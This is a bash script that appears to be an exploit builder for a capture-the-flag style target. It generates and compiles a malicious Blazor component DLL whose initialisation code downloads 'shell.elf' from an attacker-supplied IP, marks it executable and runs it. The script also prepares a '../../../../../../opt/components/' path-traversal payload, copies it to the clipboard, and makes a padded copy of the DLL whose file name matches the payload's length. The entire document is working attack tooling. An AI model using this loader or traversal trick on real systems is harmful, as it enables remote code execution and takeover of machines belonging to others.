#!/bin/bash

PROJECT_NAME="$2"
DLL_NAME="$PROJECT_NAME.dll"
PAYLOAD="../../../../../../opt/components/$DLL_NAME"
SOURCE_FILE="$PROJECT_NAME.cs"
IP="$1"

length=${#PAYLOAD}
repeat_count=$((length - 4))

FINAL=""
for ((i = 0; i < repeat_count; i++)); do
    FINAL+="a"
done
cat > $SOURCE_FILE <<EOL

using System;
using System.Net;
using System.Diagnostics;
using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;
using Microsoft.AspNetCore.Components.Web;

namespace $PROJECT_NAME {
  public class _Imports: ComponentBase {
    protected override void BuildRenderTree(RenderTreeBuilder __builder) {}
  }
  public class Component: ComponentBase {
      protected override void BuildRenderTree(RenderTreeBuilder __builder) {}

      protected override void OnInitialized() {
          string fileUrl = "http://$IP/shell.elf";
          string localPath = "/tmp/shell.elf";

          using(WebClient webClient = new WebClient()) {
            webClient.DownloadFile(fileUrl, localPath);
          }
       
          Process.Start("chmod", $"+x {localPath}")?.WaitForExit();
          Process.Start(localPath);
      }
  }
}
EOL

dotnet new classlib -n $PROJECT_NAME

cp $SOURCE_FILE sessions/rev.cs
mv $SOURCE_FILE $PROJECT_NAME/Class1.cs

cd $PROJECT_NAME

dotnet add package Microsoft.AspNetCore.Components --version 6.0.0
dotnet add package Microsoft.AspNetCore.Components.Web --version 6.0.0

pwd
dotnet build -c Release && cp bin/Release/net6.0/$DLL_NAME ../sessions/$DLL_NAME


cd ..
printf "$PAYLOAD" | xclip -sel clip
cp $DLL_NAME sessions/$FINAL.dll

rm -rf $PROJECT_NAME

echo "    [!] Compiled Successfuly. File DLL: $(pwd)/$DLL_NAME"